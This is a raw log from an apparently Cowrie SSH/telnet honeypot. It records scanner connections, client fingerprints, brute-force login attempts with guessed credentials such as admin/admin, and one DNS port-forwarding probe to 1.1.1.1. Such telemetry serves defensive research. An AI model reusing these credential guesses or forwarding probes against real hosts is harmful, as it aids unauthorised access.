{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:13:46.635649Z","src_ip":"79.104.0.82","session":"6b750524e254","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":45548,"dst_ip":"10.17.0.5","dst_port":23,"session":"f2ba810201e4","protocol":"telnet","message":"New connection: 45.58.127.90:45548 (10.17.0.5:23) [session: f2ba810201e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:13:52.470558Z"}
{"eventid":"cowrie.session.closed","duration":"12.0","message":"Connection lost after 12.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:13:53.135993Z","src_ip":"47.239.15.75","session":"f76e56d96176","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.141726970672607,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:13:55.217327Z","src_ip":"144.124.192.182","session":"2dde739772b9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":53400,"dst_ip":"10.17.0.5","dst_port":23,"session":"b33ff136ddd9","protocol":"telnet","message":"New connection: 45.58.127.90:53400 (10.17.0.5:23) [session: b33ff136ddd9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:14:02.686886Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":53414,"dst_ip":"10.17.0.5","dst_port":23,"session":"6888ecb0fa45","protocol":"telnet","message":"New connection: 45.58.127.90:53414 (10.17.0.5:23) [session: 6888ecb0fa45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:14:03.762910Z"}
{"eventid":"cowrie.session.closed","duration":39.14923429489136,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:14:22.115891Z","src_ip":"45.58.127.90","session":"8391328e63e2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.73052978515625,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:14:26.201007Z","src_ip":"45.58.127.90","session":"f2ba810201e4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":26502,"dst_ip":"10.17.0.5","dst_port":22,"session":"93e2d899eab2","protocol":"ssh","message":"New connection: 87.251.64.176:26502 (10.17.0.5:22) [session: 93e2d899eab2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:14:32.474355Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:14:32.480451Z","src_ip":"87.251.64.176","session":"93e2d899eab2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:14:32.577698Z","src_ip":"87.251.64.176","session":"93e2d899eab2","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:14:32.866201Z","src_ip":"87.251.64.176","session":"93e2d899eab2","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:14:32.966554Z","session":"93e2d899eab2","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:14:33.065445Z","src_ip":"87.251.64.176","session":"93e2d899eab2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:14:33.164739Z","src_ip":"87.251.64.176","session":"93e2d899eab2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.104.0.82","src_port":50684,"dst_ip":"10.17.0.5","dst_port":22,"session":"528bebe520f9","protocol":"ssh","message":"New connection: 79.104.0.82:50684 (10.17.0.5:22) [session: 528bebe520f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:14:33.543792Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:14:33.548500Z","src_ip":"79.104.0.82","session":"528bebe520f9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:14:33.703175Z","src_ip":"79.104.0.82","session":"528bebe520f9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123321","message":"login attempt [ubuntu/123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:14:34.346225Z","src_ip":"79.104.0.82","session":"528bebe520f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:14:35.502301Z","src_ip":"79.104.0.82","session":"528bebe520f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.783528566360474,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:14:38.546302Z","src_ip":"45.58.127.90","session":"6888ecb0fa45","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:14:40.659281Z","src_ip":"47.239.15.75","session":"a5244bde314c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.091637134552,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:14:45.778400Z","src_ip":"45.58.127.90","session":"b33ff136ddd9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":54024,"dst_ip":"159.203.135.109","dst_port":23,"session":"4de1eef058f9","protocol":"telnet","message":"New connection: 147.182.143.59:54024 (159.203.135.109:23) [session: 4de1eef058f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:14:52.153531Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":57756,"dst_ip":"159.203.135.109","dst_port":23,"session":"1ad03982ff6c","protocol":"telnet","message":"New connection: 135.148.33.91:57756 (159.203.135.109:23) [session: 1ad03982ff6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:15:01.827400Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":49162,"dst_ip":"159.203.135.109","dst_port":23,"session":"612cc83fb53f","protocol":"telnet","message":"New connection: 147.182.143.59:49162 (159.203.135.109:23) [session: 612cc83fb53f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:15:09.362305Z"}
{"eventid":"cowrie.session.closed","duration":14.4277024269104,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:15:23.789891Z","src_ip":"147.182.143.59","session":"612cc83fb53f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:15:25.272526Z","src_ip":"47.239.15.75","session":"87f4210a9ec8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.104.0.82","src_port":38426,"dst_ip":"10.17.0.5","dst_port":22,"session":"6c2443b6d2ee","protocol":"ssh","message":"New connection: 79.104.0.82:38426 (10.17.0.5:22) [session: 6c2443b6d2ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:15:26.229874Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:15:26.238774Z","src_ip":"79.104.0.82","session":"6c2443b6d2ee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:15:26.382041Z","src_ip":"79.104.0.82","session":"6c2443b6d2ee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sftp_user","password":"123456","message":"login attempt [sftp_user/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:15:26.981432Z","src_ip":"79.104.0.82","session":"6c2443b6d2ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:15:28.128015Z","src_ip":"79.104.0.82","session":"6c2443b6d2ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.23695349693298,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:15:35.064239Z","src_ip":"135.148.33.91","session":"1ad03982ff6c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":57.12855553627014,"message":"Connection lost after 57 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:15:49.281950Z","src_ip":"147.182.143.59","session":"4de1eef058f9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":34366,"dst_ip":"159.203.135.109","dst_port":23,"session":"5bf8a73b98dc","protocol":"telnet","message":"New connection: 147.182.143.59:34366 (159.203.135.109:23) [session: 5bf8a73b98dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:16:02.407773Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":43698,"dst_ip":"10.17.0.5","dst_port":23,"session":"4c0347b14505","protocol":"telnet","message":"New connection: 45.58.127.90:43698 (10.17.0.5:23) [session: 4c0347b14505]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:16:08.350573Z"}
{"eventid":"cowrie.session.connect","src_ip":"79.104.0.82","src_port":54398,"dst_ip":"10.17.0.5","dst_port":22,"session":"4b52d1272ea4","protocol":"ssh","message":"New connection: 79.104.0.82:54398 (10.17.0.5:22) [session: 4b52d1272ea4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:16:17.845303Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:16:17.849405Z","src_ip":"79.104.0.82","session":"4b52d1272ea4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:16:18.005557Z","src_ip":"79.104.0.82","session":"4b52d1272ea4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":16.13089680671692,"message":"Connection lost after 16 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:16:18.538509Z","src_ip":"147.182.143.59","session":"5bf8a73b98dc","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"admin","password":"!QAZ@WSX3edc.","message":"login attempt [admin/!QAZ@WSX3edc.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:16:18.653558Z","src_ip":"79.104.0.82","session":"4b52d1272ea4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":54016,"dst_ip":"159.203.135.109","dst_port":23,"session":"88175e9d5de6","protocol":"telnet","message":"New connection: 147.182.143.59:54016 (159.203.135.109:23) [session: 88175e9d5de6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:16:19.300795Z"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:16:19.821908Z","src_ip":"79.104.0.82","session":"4b52d1272ea4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.239.15.75","src_port":51834,"dst_ip":"159.203.135.109","dst_port":22,"session":"cfc3d3167199","protocol":"ssh","message":"New connection: 47.239.15.75:51834 (159.203.135.109:22) [session: cfc3d3167199]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:16:25.350312Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:16:29.255440Z","src_ip":"47.239.15.75","session":"cfc3d3167199","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":15.282501935958862,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:16:34.583177Z","src_ip":"147.182.143.59","session":"88175e9d5de6","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:16:36.621562Z","src_ip":"47.239.15.75","session":"cfc3d3167199","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":52492,"dst_ip":"159.203.135.109","dst_port":23,"session":"ed7adf652ab8","protocol":"telnet","message":"New connection: 147.182.143.59:52492 (159.203.135.109:23) [session: ed7adf652ab8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:16:43.575700Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":34945,"dst_ip":"10.17.0.5","dst_port":22,"session":"9eded234215b","protocol":"ssh","message":"New connection: 213.209.159.56:34945 (10.17.0.5:22) [session: 9eded234215b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:16:46.926388Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:16:46.931033Z","src_ip":"213.209.159.56","session":"9eded234215b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:16:47.014222Z","src_ip":"213.209.159.56","session":"9eded234215b","protocol":"ssh"}
